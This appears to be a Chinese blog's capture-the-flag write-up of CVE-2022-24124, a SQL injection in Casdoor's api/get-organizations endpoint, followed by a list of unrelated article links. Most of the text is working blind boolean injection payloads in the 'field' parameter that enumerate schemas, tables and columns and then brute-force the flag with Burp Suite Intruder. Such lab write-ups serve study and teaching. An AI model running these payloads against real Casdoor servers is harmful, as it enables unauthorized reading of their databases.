当前位置: 首页 > article >正文

CVE-2022-24124

根据提示

访问api/get-organizations

salmap和手工注入都不行,使用substring()

查库,查到有4个库

?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=

(substring((select count(schema_name) from information_schema.schemata),1,1) = '4') <> name

第4个数据库第1个字母:c

?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring

((select schema_name from information_schema.schemata limit 3,1),1,1) = 'c') <> name

(因为计算机是从0开始的,所以3表示第4个库,

1表示第一个字符,c是测试的字符

下边查表、查列、查数据也是如此)

第4个数据库第2个字母:a

?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring

((select schema_name from information_schema.schemata limit% 3,1),1,2) = 'ca') <> name

第4个数据库第3个字母:s

?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring

((select schema_name from information_schema.schemata limit 3,1),1,3) = 'cas') <> name

依次类推得出数据库有7位,数据库名为:casdoor

为什么只有4个库,这个库名为7位,查库时的第5个库和第4个库的第8位开始所有字母都报错,由此推出只有7位,下边查表、查列一样

查表,第一个表名

?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=

(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,11) = 'application') <> name

第二个表名

?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=

(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,4) = 'role') <> name

第四个表名

?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=

(substring((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,4) = 'flag') <> name

查列名,第一列名

?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring

((select column_name from information_schema.columns where table_schema='casdoor'

and table_name='flag' limit 0,1),1,2) = 'id') <> name

第二列名

?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring

((select column_name from information_schema.columns where table_schema='casdoor'

and table_name='flag' limit 1,1),1,4) = 'flag') <> name

查flag

?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=

(substring((select group_concat(flag) from flag),§1§,1) = '§a§') <> name

(红色部分为bp爆破部分)

使用bp抓包

攻击类型选择,集束炸弹-多个paload集合

攻击完后保存一下

保存为表格形式

首先对我们所需要的长度筛选一下

然后把paload1的顺序改为升序,得到flag

复制出来,Flag:flag{73a62ab4-b564-441e-8f6d-3b7806242c02}


http://www.kler.cn/a/414943.html

相关文章:

  • 【ruby on rails】dup、deep_dup、clone的区别
  • STM32C011开发(1)----开发板测试
  • 【数据结构】双向链表、单向循环链表、双向循环链表、栈、链栈
  • Basemap 在地图上显示图例
  • java八股-分布式服务的接口幂等性如何设计?
  • python json.dump()和json.dumps()的区别
  • OGRE 3D----3. OGRE绘制自定义模型
  • Centos 使用宝塔安装mysql详细步骤
  • 【第十一课】Rust并发编程(二)
  • Linux(ubuntu)系统的一些基本操作和命令(持续更新)
  • 平安科技大数据面试题及参考答案
  • React前端面试题详解(一)
  • 泷羽sec---shell作业
  • JVM系列之OOM实战
  • 【论文阅读】Federated learning backdoor attack detection with persistence diagram
  • idea新建springboot web项目
  • YOLOv8-ultralytics-8.2.103部分代码阅读笔记-autobatch.py
  • 【UE5 C++课程系列笔记】05——组件和碰撞
  • Ubuntu nvidia-cuda-toolkit 升级
  • Chrome://常用的内部页面地址
  • java回文数
  • MySQL 启动失败问题分析与解决方案:`mysqld.service failed to run ‘start-pre‘ task`
  • 在 Ubuntu 18.04 上安装 MySQL 5.7和MySQL 8
  • 【网络安全 | 漏洞挖掘】绕过SAML认证获得管理员面板访问权限
  • Python知识分享第九天补充
  • rocylinux9.4安装prometheus监控